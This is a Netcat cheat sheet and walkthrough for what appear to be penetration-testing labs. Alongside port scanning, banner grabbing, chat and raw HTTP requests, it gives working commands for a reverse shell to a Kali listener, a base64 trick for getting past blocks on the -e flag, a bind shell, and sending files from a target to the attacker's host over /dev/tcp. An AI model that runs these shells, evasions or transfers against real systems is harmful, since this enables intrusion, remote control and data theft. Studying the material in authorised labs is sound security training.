🌐 Netcat (nc) Cheat Sheet & Walkthrough

Tool: `nc` (Netcat)
Purpose: TCP/UDP network exploration, reverse shells, file transfers
Color Legend:

- **Blue:** Tool/utility
- **Green:** Commands
- **Orange:** Important notes/output

1️⃣ Checking if a Port is Open (Port Scanning)

Netcat can be used as a lightweight port scanner:

```
nc -zv 192.168.56.119 22 80 443
```

- `-z` → zero-I/O mode (just scanning)
- `-v` → verbose mode
- 🟠 Output example: **Connection to 192.168.56.119 80 port [tcp/http] succeeded!**

Scan a range of ports:

```
nc -zv 192.168.56.119 1-1000
```

2️⃣ Banner Grabbing

Check the service running on a port:

```
nc 192.168.56.119 22
```

- 🟠 Will show the SSH banner (e.g., `SSH-2.0-OpenSSH_7.4`)
- Useful for **service enumeration**.

3️⃣ Reverse Shell (TCP Connection)

Step 1 — Set up Listener on Kali

```
nc -lvnp 4444
```

- `-l` → listen mode
- `-v` → verbose

- `-n` → numeric-only (no DNS resolution)
- `-p` → port number

Step 2 — Execute Reverse Shell on Target

```
nc -e /bin/bash 192.168.56.106 4444
```

- `-e /bin/bash` → executes bash shell over TCP
- 🟠 Once executed, Kali listener receives a remote shell

⚠️ Some targets may block `-e`. Use **base64 encoding** as a bypass:

```
echo 'nc -e /bin/bash 192.168.56.106 4444' | base64
echo 'ENCODED_STRING' | base64 -d | bash
```

4️⃣ Bind Shell (Target Listens)

On target:

```
nc -lvnp 5555 -e /bin/bash
```

On attacker:

```
nc 192.168.56.119 5555
```

- 🟠 Attacker connects directly to a shell running on target

5️⃣ File Transfer

Step 1 — Receive File on Kali

```
nc -lvnp 3333 > file.txt
```

Step 2 — Send File from Target

```
cat file.txt > /dev/tcp/192.168.56.106/3333
```

- 🟠 File successfully transferred over TCP

6️⃣ Simple Chat/Communication

Create a simple two-way chat:

On host 1:

```
nc -lvnp 9999
```

On host 2:

```
nc 192.168.56.106 9999
```

- 🟠 Messages sent between terminals over TCP.

7️⃣ HTTP Request via Netcat

```
nc 192.168.56.119 80
```

Then type:

```
GET / HTTP/1.1
Host: 192.168.56.119
```

- 🟠 Retrieve the homepage HTML without a browser

🛠 Netcat Quick Reference Table

Use Case	Command	Notes
Port Scan	`nc -zv IP PORTS`	Quick TCP port check
Banner Grab	`nc IP PORT`	Enumerate service version
Reverse Shell	`nc -lvnp LPORT` & `nc -e /bin/bash LHOST LPORT`	Remote shell
Bind Shell	`nc -lvnp PORT -e /bin/bash`	Target listens
File Transfer	`nc -lvnp PORT > file` & `cat file > /dev/tcp/...`	Transfer files over TCP
HTTP Request	`nc IP 80` + `GET / HTTP/1.1`	Simple web page retrieval
Chat	`nc -lvnp PORT` & `nc IP PORT`	Simple TCP messaging